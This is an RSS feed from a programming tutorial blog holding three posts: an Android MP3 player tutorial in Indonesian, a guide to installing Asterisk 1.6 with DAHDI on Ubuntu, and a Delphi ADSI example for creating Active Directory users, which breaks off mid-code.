<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; Delphi</title>
	<atom:link href="http://www.dijexi.com/category/delphi/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Ayo Membuat MP3 Player Sederhana di Android</title>
		<link>http://www.dijexi.com/2012/01/ayo-membuat-mp3-player-sederhana-di-android/</link>
		<comments>http://www.dijexi.com/2012/01/ayo-membuat-mp3-player-sederhana-di-android/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 23:20:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=1454</guid>
		<description><![CDATA[Ini cuma aplikasi sederhana cara memainkan MP3 di SDCARD, dengan menampilkan daftar lagu MP3 pada sebuah ListView. Buat proyek baru dengan nama MP3Player di Eclipse. Activity utama kita bernama Mp3PlayerActivity. Layout Pertama-tama definisikan layout untuk menampilkan daftar lagu. Pakai saja ListView untuk menyederhanakan program. Nanti kalau sudah mahir boleh pakai list yang lebih cantik tampilannya. [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Ini cuma aplikasi sederhana cara memainkan MP3 di SDCARD, dengan menampilkan daftar lagu MP3 pada sebuah ListView.</p>
<p>Buat proyek baru dengan nama MP3Player di Eclipse. Activity utama kita bernama Mp3PlayerActivity.</p>
<h1>Layout</h1>
<p>Pertama-tama definisikan layout untuk menampilkan daftar lagu. Pakai saja ListView untuk menyederhanakan program. Nanti kalau sudah mahir boleh pakai list yang lebih cantik tampilannya. Jadi bikin dulu layout baru namanya daftarlagu.xml.</p>
<p>&lt;?xml version=<em>&#8220;1.0&#8243;</em> encoding=<em>&#8220;utf-8&#8243;</em>?&gt;</p>
<p>&lt;LinearLayout</p>
<p>xmlns:android=<em>&#8220;http://schemas.android.com/apk/res/android&#8221;</em></p>
<p>android:orientation=<em>&#8220;vertical&#8221;</em></p>
<p>android:layout_width=<em>&#8220;match_parent&#8221;</em></p>
<p>android:layout_height=<em>&#8220;match_parent&#8221;</em>&gt;</p>
<p>&lt;ListView android:id=<em>&#8220;@id/android:list&#8221;</em></p>
<p>android:layout_width=<em>&#8220;fill_parent&#8221;</em></p>
<p>android:layout_height=<em>&#8220;fill_parent&#8221;</em></p>
<p>android:layout_weight=<em>&#8220;1&#8243;</em></p>
<p>android:drawSelectorOnTop=<em>&#8220;false&#8221;</em></p>
<p>/&gt;</p>
<p>&lt;TextView android:id=<em>&#8220;@id/android:empty&#8221;</em></p>
<p>android:layout_width=<em>&#8220;fill_parent&#8221;</em></p>
<p>android:layout_height=<em>&#8220;fill_parent&#8221;</em></p>
<p>android:text=<em>&#8220;tidak ada lagu SD Card&#8221;</em></p>
<p>/&gt;</p>
<p>&lt;/LinearLayout&gt;</p>
<p>ListView yang cukup simple, yang akan menampilkan text “tidak ada lagi di SD card” ketika tidak ada items ditemukan di ListView.</p>
<p>Lalu bikin lagi file XML untuk menampilkan setiap file MP3 yang akan dimunculkan di ListView, kasi nama misalnya viewlagu.xml.</p>
<p>&lt;?xml version=<em>&#8220;1.0&#8243;</em> encoding=<em>&#8220;utf-8&#8243;</em>?&gt;</p>
<p>&lt;?xml version=<em>&#8220;1.0&#8243;</em> encoding=<em>&#8220;utf-8&#8243;</em>?&gt;</p>
<p>&lt;TextView android:id=<em>&#8220;@+id/text1&#8243;</em> xmlns:android=<em>&#8220;http://schemas.android.com/apk/res/android&#8221;</em></p>
<p>android:layout_width=<em>&#8220;wrap_content&#8221;</em></p>
<p>android:layout_height=<em>&#8220;wrap_content&#8221;</em>/&gt;</p>
<h1>Activity</h1>
<p>Kemudian buka file MP3PlayerActivity.java yang sudah otomatis dibuat pada saat create project sebelumnya. Edit file tersebut sehingga lengkap seperti sebagai berikut:</p>
<p><strong>package</strong> com.vitraining;</p>
<p><strong>import</strong> java.io.File;</p>
<p><strong>import</strong> java.io.FilenameFilter;</p>
<p><strong>import</strong> java.io.IOException;</p>
<p><strong>import</strong> java.util.ArrayList;</p>
<p><strong>import</strong> java.util.List;</p>
<p><strong>import</strong> android.app.ListActivity;</p>
<p><strong>import</strong> android.media.MediaPlayer;</p>
<p><strong>import</strong> android.media.MediaPlayer.OnCompletionListener;</p>
<p><strong>import</strong> android.os.Bundle;</p>
<p><strong>import</strong> android.util.Log;</p>
<p><strong>import</strong> android.view.View;</p>
<p><strong>import</strong> android.widget.ArrayAdapter;</p>
<p><strong>import</strong> android.widget.ListView;</p>
<p><strong>public</strong> <strong>class</strong> Mp3PlayerActivity <strong>extends</strong> ListActivity {</p>
<p><strong>private</strong> <strong>static</strong> <strong>final</strong> String <em>MEDIA_PATH</em> = <strong>new</strong> String(&#8220;/sdcard/&#8221;);</p>
<p><strong>private</strong> List&lt;String&gt; songs = <strong>new</strong> ArrayList&lt;String&gt;();</p>
<p><strong>private</strong> MediaPlayer mp = <strong>new</strong> MediaPlayer();</p>
<p><strong>private</strong> <strong>int</strong> currentPosition = 0;</p>
<p>@Override</p>
<p><strong>public</strong> <strong>void</strong> onCreate(Bundle icicle) {</p>
<p><strong>super</strong>.onCreate(icicle);</p>
<p>setContentView(R.layout.<em>daftarlagu</em>);</p>
<p>updateDaftarLagu();</p>
<p>}</p>
<p><strong>public</strong> <strong>void</strong> updateDaftarLagu() {</p>
<p>File home = <strong>new</strong> File(<em>MEDIA_PATH</em>);</p>
<p><strong>if</strong> (home.listFiles(<strong>new</strong> Mp3Filter()).length &gt; 0) {</p>
<p><strong>for</strong> (File file : home.listFiles(<strong>new</strong> Mp3Filter())) {</p>
<p>songs.add(file.getName());</p>
<p>}</p>
<p>ArrayAdapter&lt;String&gt; songList = <strong>new</strong> ArrayAdapter&lt;String&gt;(<strong>this</strong>, R.layout.<em>viewlagu</em>, songs);</p>
<p>setListAdapter(songList);</p>
<p>}</p>
<p>}</p>
<p>@Override</p>
<p><strong>protected</strong> <strong>void</strong> onListItemClick(ListView l, View v, <strong>int</strong> position, <strong>long</strong> id) {</p>
<p>currentPosition = position;</p>
<p>playSong(<em>MEDIA_PATH</em> + songs.get(position));</p>
<p>}</p>
<p><strong>private</strong> <strong>void</strong> playSong(String songPath) {</p>
<p><strong>try</strong> {</p>
<p>mp.reset();</p>
<p>mp.setDataSource(songPath);</p>
<p>mp.prepare();</p>
<p>mp.start();</p>
<p>// Setup listener so next song starts automatically</p>
<p>mp.setOnCompletionListener(<strong>new</strong> OnCompletionListener() {</p>
<p><strong>public</strong> <strong>void</strong> onCompletion(MediaPlayer arg0) {</p>
<p>nextSong();</p>
<p>}</p>
<p>});</p>
<p>} <strong>catch</strong> (IOException e) {</p>
<p>Log.<em>v</em>(getString(R.string.<em>app_name</em>), e.getMessage());</p>
<p>}</p>
<p>}</p>
<p><strong>private</strong> <strong>void</strong> nextSong() {</p>
<p><strong>if</strong> (++currentPosition &gt;= songs.size()) {</p>
<p>// Last song, just reset currentPosition</p>
<p>currentPosition = 0;</p>
<p>} <strong>else</strong> {</p>
<p>// Play next song</p>
<p>playSong(<em>MEDIA_PATH</em> + songs.get(currentPosition));</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p><strong>class</strong> Mp3Filter <strong>implements</strong> FilenameFilter {</p>
<p><strong>public</strong> <strong>boolean</strong> accept(File dir, String name) {</p>
<p><strong>return</strong> (name.endsWith(&#8220;.mp3&#8243;));</p>
<p>}</p>
<p>}</p>
<p>Import package-package yang diperlukan. Di Eclipse, arahkan ke class yang dibilang error, lalu pilih import &lt;nama package&gt;.</p>
<p>Lakukan proses build (Project à Build Project) agar layout dikenali disini.</p>
<p>Function onCreate() gunanya untuk menampilkan view daftarlagu yang sudah kita buat sebelumnya. Kemudian memanggil function updateDaftarLagu().</p>
<p>Function updateDaftarLagu()  gunanya untuk membaca semua file yang ada di SD Card sesuai filter yang telah didefinisikan sebelumnya (yaitu class MP3Filter). Setiap file lagu yang ditemukan, nama filenya disimpan di variable songs. Kemudian dibentuk ListAdapter yang datanya berasal dari variable songs dan layoutnya dari viewlagu yang sudah didefinisikan di atas.</p>
<p>Ketika item di ListView di-click maka program menjalankan function playSong().</p>
<p>Function playSong()  gunanya untuk memainkan file MP3. Terlebih dahulu object variable mp di reset(), kemudian di-set file data nya dengan setDataSource(), di prepare(), dan di start(). Ketika selesai memainkan suatu lagu, program menjalankan function nextSong(). Ini dilakukan pada function setOnCompleteListener().</p>
<p>Function nextSong()  gunanya untuk  memajukan index variable songs dan memainkan lagu pada index tersebut.</p>
<p>Class Mp3Filter gunanya untuk meng-accept() file hanya jika ber-extension MP3.</p>
<h1>Membuat emulasi SD Card</h1>
<p>Agar bias jalan seperti di device, kita perlu bikin SD Card di emulator. Masuk ke folder android-sdk/tools, dan jalankan.</p>
<p>./mksdcard 128M /tmp/sd.img</p>
<p>Selanjutnya masuk ke menu Eclipse Run à Run Configurations… Pilih nama project yaitu MP3Player.</p>
<p>Di Tab Target, tambahkan di bagian Additional Emulator Command Line Options: “–sdcard /tmp/sd.img”</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2012/01/run-configuration.png"><img class="alignnone size-medium wp-image-1456" title="run-configuration" src="http://www.dijexi.com/wp-content/uploads/2012/01/run-configuration-300x238.png" alt="" width="300" height="238" /></a></p>
<p>Lalu klik Run disitu untuk menjalankan emulator.</p>
<p>Awalnya program menampilkan pesan “tidak ada lagu di SC Card”. Gimana cara mengisi SD Card dengan file MP3?</p>
<p>Masuk ke android-sdk/platform-tools, dan jalankan</p>
<p>Adb push &lt;sumber&gt; /mnt/sdcard</p>
<p>Misalnya</p>
<p>adb push /Users/akhmaddanielsembiring/Documents/etc/lagu/Gigi\ -\ 11\ Januari.mp3 /mnt/sdcard</p>
<p>Jalankan ulang program di emulator, hasilnya kira-kira seperti ini.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2012/01/run-emulator.png"><img title="run-emulator" src="http://www.dijexi.com/wp-content/uploads/2012/01/run-emulator-300x284.png" alt="" width="300" height="284" /></a></p>
<p>Pingin tau lebih detail tentang pemrograman Android? Koneksi ke server, web services, JSON, GPS, Mapping Google maps? Ikuti training<a href="http://www.vitraining.com/courses"> Android di VITRAINING.</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-program-animasi/" rel="bookmark">09. Program Animasi</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-cara-membuat-aplikasi-media-player/" rel="bookmark">07. Aplikasi Media Player</a></li><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/07/best-video-softwares-audio-softwares-3d-softwares/" rel="bookmark">Best Video Softwares, Audio Softwares, 3D Softwares</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-penggunaan-grafik-dan-multimedia/" rel="bookmark">17. Grafik dan Multimedia</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2012%2F01%2Fayo-membuat-mp3-player-sederhana-di-android%2F&amp;linkname=Ayo%20Membuat%20MP3%20Player%20Sederhana%20di%20Android"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2012/01/ayo-membuat-mp3-player-sederhana-di-android/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to install Asterisk 1.6 on Ubuntu</title>
		<link>http://www.dijexi.com/2010/08/how-to-install-asterisk-1-6-on-ubuntu/</link>
		<comments>http://www.dijexi.com/2010/08/how-to-install-asterisk-1-6-on-ubuntu/#comments</comments>
		<pubDate>Fri, 13 Aug 2010 02:10:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2010/08/how-to-install-asterisk-1-6-on-ubuntu/</guid>
		<description><![CDATA[1. Required Packages Install all the required packages: $ apt-get install cvs build-essential automake autoconf bison flex libtool libncurses5-dev libssl-dev php5 php5-cli php5-curl php5-gd php5-mysql mysql-server php-pear php-db curl sox apache2 subversion libssl-dev libmysqlclient15-dev libxml2-dev &#160; 2. Compile and Install DAHDI Driver Since we are going to use Digium TDM400 board, then we need to [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--></p>
<h3>1. Required Packages</h3>
<p>Install all the required packages:</p>
<p>$ apt-get install cvs build-essential automake autoconf bison flex libtool libncurses5-dev libssl-dev php5 php5-cli php5-curl php5-gd php5-mysql mysql-server php-pear php-db curl sox apache2 subversion libssl-dev libmysqlclient15-dev libxml2-dev</p>
<p>&#160;</p>
<h3>2. Compile and Install DAHDI Driver</h3>
<p>Since we are going to use Digium TDM400 board, then we need to install DAHDI driver. First, get the system kernel name:</p>
<p>$ uname –r </p>
<p>This will results your kernel version number. </p>
<p>Install the kernel header according to your system kernel</p>
<p>$ apt-get install linux-headers-&lt;version&gt;</p>
<p>&#160;</p>
<p>Create a symbolic link to /usr/src/linux-2.6</p>
<p>$ ln -s /usr/src/linux-headers-&lt;version&gt; /usr/src/linux-2.6</p>
<p> <span id="more-1323"></span>
<p>Download and extract the DAHDI driver to /usr/src </p>
<p>$ cd /usr/src/</p>
<p>$ wget http://downloads.digium.com/pub/telephony/dahdi-linux-complete/dahdi-linux-completecurrent.tar.gz</p>
<p>$ tar -zxvf dahdi-linux-complete-current.tar.gz</p>
<p>$ cd dahdi-linux-complete-X.X.X+X.X.X</p>
<p>&#160;</p>
<p>Compile the driver</p>
<p>$ make</p>
<p>$ make install</p>
<p>$ make config </p>
<p>Note: Executing ‘make config’ will install an init script and symlinks which will allow you to start and stop DAHDI as a service.</p>
<p>&#160;</p>
<h3>3. Install asterisk</h3>
<p>Download asterisk source distribution and put it on /usr/src. In this article I used asterisk version 1.6.2.9, you can download the newest version as you wish. </p>
<p>$ cd /usr/src</p>
<p>$ wget http://www.asterisk.org/downloads/asterisk/releases/asterisk-1.6.2.9.tar.gz</p>
<p>$ tar xvfpz asterisk-1.6.2.9.tar.gz</p>
<p>$ cd asterisk-1.6.2.9.tar.gz</p>
<p>&#160;</p>
<p>Compile the source code</p>
<p>$ ./configure</p>
<p>$ make menuselect</p>
<p>Make sure that you are able to select chan_dahdi under the Channel Drivers menu. If not, then you need to check the installation step of DAHDI driver.</p>
<p>$ make </p>
<p>$ make install</p>
<p>&#160;</p>
<p>&#160;</p>
<h3>4. Configure /etc/dahdi/system.conf and start the driver</h3>
<p>In this example, FXO module is at Port 4 and FXS module is at Port 2 on the Digium TDM400 card. So the board arrangements are:</p>
<ul>
<li>FXS Green board = to be connected to a telephone handset, plug it into the bank #2 on the main board </li>
<li>FXO Orange board&#160; = to be connected to telephone line, plug it into the bank #4 on the main board </li>
<li>Power Supply = to be connected to PC power connector, for supplying FXS line </li>
</ul>
<p>After plugging the FXO and FXS boards, then:</p>
<ul>
<li>Connect a normal telephone handset to port #2. </li>
<li>Connect a telephone / PSTN analog line to port #4. </li>
</ul>
<p>&#160;</p>
<p>Note: Plugging an FXS port (the green module, port #2) into the PSTN may destroy the module and the card due to voltage being introduced into a system that wants to produce voltage, not receive it!</p>
<p>Note: Be sure to connect your computer’s power supply to the Molex connector on the TDM400 if you have FXS modules, as it is used to supply the voltage needed to drive the ring generator on the FXS ports</p>
<p>Next, Edit file /etc/dahdi/system.conf add the following lines:</p>
<p>fxoks=2    <br />fxsks=4     <br />loadzone=us     <br />defaultzone=us     <br />echocanceller=mg2,1-4</p>
<p>DAHDI uses modular echo cancellers that are configured per channel. The echo cancellers are compiled and installed as part of the dahdilinux package. You can specify the echo canceller to be used for each channel. The default behavior is for there to be no echo canceller on any channel. So, it is very important that you specify one in the system.conf file if you do not have hardware echo cancellers and need echo cancellation.</p>
<p>Then start the driver using this command</p>
<p>$ /etc/init.d/dahdi start</p>
<p>&#160;</p>
<p>After loading the drivers for your hardware, you can verify their state with the use of </p>
<p>$ /sbin/dahdi_cfg -vv</p>
<p>&#160;</p>
<p>Check the module loading using dmesg command:</p>
<p>$ dmesg</p>
<p>[ 1604.956854] dahdi: Telephony Interface Registered on major 196    <br />[ 1604.956861] dahdi: Version: 2.3.0.1     <br />[ 1604.979673] ACPI: PCI Interrupt 0000:00:05.0[A] -&gt; GSI 16 (level, low) -&gt; IRQ 20     <br />[ 1604.979778] PCI: Setting latency timer of device 0000:00:05.0 to 64     <br />[ 1604.979796] Freshmaker version: 73     <br />[ 1604.980163] Freshmaker passed register test     <br />[ 1605.476297] Module 0: Not installed     <br />[ 1606.357479] Module 1: Installed &#8212; AUTO FXS/DPO     <br />[ 1606.357567] Module 2: Not installed     <br />[ 1606.555044] Module 3: Installed &#8212; AUTO FXO (FCC mode)     <br />[ 1606.564781] Found a Wildcard TDM: Wildcard TDM400P REV I (2 modules)     <br />[ 1606.757915] dahdi: Registered tone zone 0 (United States / North America)     <br />[ 1606.801141] dahdi_echocan_mg2: Registered echo canceler &#8216;MG2&#8242;</p>
<p>&#160;</p>
<h3>5. Configure chan_dahdi.conf</h3>
<p>Edit file /etc/asterisk/chan_dahdi.conf. This will instruct Asterisk to use the TDM400 card configured previously.</p>
<p>The following is a sample configuration for a TDM422E card. You can place this at the bottom of your chan_dahdi.conf file.</p>
<p>;General options    <br />usecallerid = yes     <br />hidecallerid = no     <br />callwaiting = yes     <br />threewaycalling = yes     <br />transfer = yes     <br />echocancel = yes     <br />echocancelwhenbridged = yes     <br />rxgain = 0.0     <br />txgain = 0.0     <br />;FXS Modules     <br />group = 1     <br />signalling = fxo_ks     <br />context = Internal     <br />channel = 1-2     <br />;FXO Modules     <br />group = 2     <br />echocancel = yes     <br />signalling = fxs_ks     <br />context = Incoming     <br />channel = 3-4</p>
<p>&#160;</p>
<h3>6. Setting up Voicemail and a basic dial plan</h3>
<p>Open and edit voicemail.conf and find the following line at the bottom:</p>
<p>[default]    <br />1234 =&gt; 4242,Mark Spencer,root@localhost     </p>
<p>In this example, 1234 is the mailbox number, 4242 is the password, Mark Spencer is the person’s name, and root@localhost is his email address.</p>
<p>You can add extensions by adding the following:</p>
<p>1000 =&gt; 12345,Ujang,ujang@abc.com    <br />2000 =&gt; 12345,Bayu,bayu@xyz.com</p>
<p>Next, open and edit /etc/asterisk/extensions.conf, which contains a large, complex sample dial plan. In this step, you will configure a basic dial plan to enable you to    <br />send and receive calls. Go to the bottom of the file and add the following lines:</p>
<p>[Internal]     <br />exten =&gt; 1000,1,Dial(DAHDI/1,20,rt)     <br />exten =&gt; 1000,2,Voicemail(1000,u)     <br />exten =&gt; 1000,102,Voicemail(1000,b)     <br />exten =&gt; 2000,1,Dial(DAHDI/2,20,rt)     <br />exten =&gt; 2000,2,Voicemail(2000,u)     <br />exten =&gt; 2000,102,Voicemail(2000,b)     <br />exten =&gt; 8500,1,VoiceMailMain     <br />exten =&gt; 8501,1,MusicOnHold     <br />exten =&gt; _9.,1,Dial(DAHDI/g2/www${EXTEN:1})     <br />exten =&gt; _9.,2,Congestion     <br />[Incoming]     <br />exten =&gt; s,1,Answer     <br />exten =&gt; s,2,Dial(DAHDI/g1,20,rt)     <br />exten =&gt; s,3,Voicemail(1000,u)     <br />exten =&gt; s,103,Voicemail(1000,b)     </p>
<p>In this example there are two internal extensions (1000 and 2000), a number to check voicemail (8500), a number to listen to music-on-hold, (8501), and a prefix to dial to get an outside line (9). It is also configured to accept incoming calls over the FXO, rings phones 1 and 2, and route to voicemail box 1000.</p>
<p>&#160;</p>
<h3>7. Testing</h3>
<p>Start asterisk as standalone application first:</p>
<p>$ asterisk –cvvvv</p>
<p>This will run asterisk in console mode and a lot of debugging messages for you to find out if something going wrong.</p>
<p>Dial tone should be present on phones connected to the FXS ports. Test your configuration by placing an outgoing call, placing a call from extension 1 to 2, or receiving an incoming call. Successful completion of these tasks indicates your configuration is working properly.</p>
<p>Quit asterisk using CTRL-C. If everything Ok, then you can start asterisk as a service.</p>
<p>$ /etc/init.d/asterisk start</p>
<p>&#160;</p>
<p>&#160;</p>
<p>If you need any further information or consultation, please contact me directly:</p>
<p>Akhmad Daniel Sembiring</p>
<p>vitraining.com – CEO, akhmad.daniel[at]gmail.com, 6281320379277</p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2010/03/show-the-list-of-installed-packages-on-ubuntu-or-debian/" rel="bookmark">Show the List of Installed Packages on Ubuntu or Debian</a></li><li><a href="http://www.dijexi.com/2010/08/introduction-to-php-agi-asterisk-gateway-interface/" rel="bookmark">Introduction to PHP AGI (Asterisk Gateway Interface)</a></li><li><a href="http://www.dijexi.com/2010/06/how-to-use-tor-project-anonymous-ip-with-curl-php-on-linux/" rel="bookmark">How to Use Tor Project Anonymous IP with Curl PHP on Linux</a></li><li><a href="http://www.dijexi.com/2011/06/guide-to-installing-3rd-party-jars-in-maven/" rel="bookmark">Guide to installing 3rd party JARs in Maven</a></li><li><a href="http://www.dijexi.com/2010/05/setup-kannel-sms-gateway-on-ubuntu/" rel="bookmark">Setup Kannel SMS Gateway on Ubuntu</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2010%2F08%2Fhow-to-install-asterisk-1-6-on-ubuntu%2F&amp;linkname=How%20to%20install%20Asterisk%201.6%20on%20Ubuntu"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2010/08/how-to-install-asterisk-1-6-on-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mengakses Active Directory dari Delphi</title>
		<link>http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/</link>
		<comments>http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/#comments</comments>
		<pubDate>Fri, 17 Jul 2009 04:12:45 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[active directory]]></category>
		<category><![CDATA[adsi]]></category>
		<category><![CDATA[windows 2003]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/</guid>
		<description><![CDATA[Agar bisa membuat, menghapus, memodifikasi user account Windows di Active Directory melalui Delphi kita perlu menggunakan ADSI (Active Directory Services Interface) dari Microsoft. ADSI sebetulnya tersedia di semua platform Win32, namun selain Windows 2000 keatas kita perlu download dulu dari http://www.microsoft.com/adsi. Bahasan ADSI sangat kompleks. Pada tulisan ini cuma dibahas beberapa yang penting aja. ADSI [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Agar bisa membuat, menghapus, memodifikasi user account Windows di Active Directory melalui Delphi kita perlu menggunakan ADSI (Active Directory Services Interface) dari Microsoft. ADSI sebetulnya tersedia di semua platform Win32, namun selain Windows 2000 keatas kita perlu download dulu dari <a href="http://www.microsoft.com/adsi">http://www.microsoft.com/adsi</a>. </p>
<p>Bahasan ADSI sangat kompleks. Pada tulisan ini cuma dibahas beberapa yang penting aja. ADSI adalah sejenis generic interface untuk directory services. Beberapa provider ADSI standard (COM yaitu interfaces yang dapat kita gunakan di program) adalah WinNT, IIS, LDAP dan NDS. Provider jenis WinNT dapat digunakan untuk membuat, modify user accounts, maupun groups (dan banyak hal lain lagi).</p>
<p> <span id="more-818"></span>
<p>Pertama kita perlu import ADSI Type Library (dari Menu Project/Import Type Library). Type Library yang dimaksud dapat ditemukan pada system32 subdirectory (misalnya C:\WINNT\system32\activeds.tlb). File yang diperlukan adalah &#8216;activeds.tlb&#8217;. Jika file tersebut belum ada, kemungkinan ADSI belum ter-installed dengan benar. </p>
<p>Setelah berhasil import Type Library kita akan menemukan file baru pada Delphi Imports directory dengan nama activeds_tlb.pas (misalnya ..\Delphi7\Imports\activeds_tlb.pas). Selanjutnya kita perlu meng-include file ini pada uses clause agar ADSI programming bisa dilakukan pada program Delphi.</p>
<p>Pada contoh pembuatan user melalui ADSI, anda perlu ganti [computername] dengan nama komputer yang betul yang anda gunakan. Hal yang sama juga pada [accountname]. Program ini telah dites pada    <br />WindowsNT 4.0, Windows 2000, dan Windows 2003.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:901e0178-9382-461b-8649-ca0a0582dc5f" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">uses</span> ActiveX, &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">// hal-hal yang berhubungan dengan COM </span><br />
&nbsp; &nbsp; &nbsp;ActiveDs_TLB, &nbsp; <span class="co1">// type library ADSI</span><br />
&nbsp; &nbsp; &nbsp;ComObj; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// untuk OleCheck dan COM functions lainnya</span></p>
<p><span class="kw2">implementation</span></p>
<p><span class="kw2">procedure</span> TForm1.<span class="me1">BtnCreateUserClick</span><span class="br0">&#40;</span>Sender: TObject<span class="br0">&#41;</span>;<br />
<span class="kw1">var</span><br />
&nbsp; Usr: &nbsp;IADsUser;<br />
&nbsp; Comp: IADsContainer;<br />
<span class="kw1">begin</span><br />
&nbsp; <span class="kw1">try</span><br />
&nbsp; &nbsp; Comp := GetObject<span class="br0">&#40;</span><span class="st0">&#8216;WinNT://[computername],computer&#8217;</span><span class="br0">&#41;</span> as<br />
&nbsp; &nbsp; &nbsp; IADsContainer;<br />
&nbsp; &nbsp; Usr := Comp.<span class="me1">Create</span><span class="br0">&#40;</span><span class="st0">&#8216;user&#8217;</span>, <span class="st0">&#8216;[accountname]&#8216;</span><span class="br0">&#41;</span> as IADsUser;<br />
&nbsp; &nbsp; Usr.<span class="me1">setPassword</span><span class="br0">&#40;</span><span class="st0">&#8216;passwordnya&#8217;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; Usr.<span class="me1">SetInfo</span>;<br />
&nbsp; <span class="kw1">except</span><br />
&nbsp; &nbsp; on E: EOleException <span class="kw1">do</span> <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; ShowMessage<span class="br0">&#40;</span>E.<span class="me1">Message</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; <span class="kw1">end</span>;<br />
<span class="kw1">end</span>;</p>
<p>
<span class="kw2">procedure</span> TForm1.<span class="me1">BtnSetPasswordClick</span><span class="br0">&#40;</span>Sender: TObject<span class="br0">&#41;</span>;<br />
<span class="kw1">var</span><br />
&nbsp; Usr: IADsUser;<br />
<span class="kw1">begin</span><br />
&nbsp; <span class="kw1">try</span><br />
&nbsp; &nbsp; Usr := GetObject<span class="br0">&#40;</span><span class="st0">&#8216;WinNT://[computername]/[accountname],user&#8217;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; as IADsUser;<br />
&nbsp; &nbsp; Usr.<span class="me1">SetPassword</span><span class="br0">&#40;</span><span class="st0">&#8216;thenewpassword&#8217;</span><span class="br0">&#41;</span>;<br />
&nbsp; <span class="kw1">except</span><br />
&nbsp; &nbsp; on E: EOleException <span class="kw1">do</span> <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; ShowMessage<span class="br0">&#40;</span>E.<span class="me1">Message</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; <span class="kw1">end</span>;<br />
<span class="kw1">end</span>;</p>
<p>
<span class="co1">// GetObject is a implementation of the VB GetObject call</span><br />
<span class="co1">// I&#8217;ve found this code (GetObject) on the Usenet. &nbsp;</span><br />
<span class="co1">//</span><br />
<span class="co1">// With GetObject can you bind to an existing ADSI provider</span><br />
<span class="co1">// using a &#8216;ADSIPath&#8217; (for example WinNT://&#8230;. or</span><br />
<span class="co1">// IIS://localhost).</span></p>
<p><span class="kw2">function</span> TForm1.<span class="me1">GetObject</span><span class="br0">&#40;</span><span class="kw4">const</span> <span class="kw1">Name</span>: <span class="kw4">string</span><span class="br0">&#41;</span>: IDispatch;<br />
<span class="kw1">var</span><br />
&nbsp; Moniker: IMoniker;<br />
&nbsp; Eaten: <span class="kw4">integer</span>;<br />
&nbsp; BindContext: IBindCtx;<br />
&nbsp; Dispatch: IDispatch;<br />
<span class="kw1">begin</span><br />
&nbsp; OleCheck<span class="br0">&#40;</span>CreateBindCtx<span class="br0">&#40;</span><span class="nu0">0</span>, BindContext<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
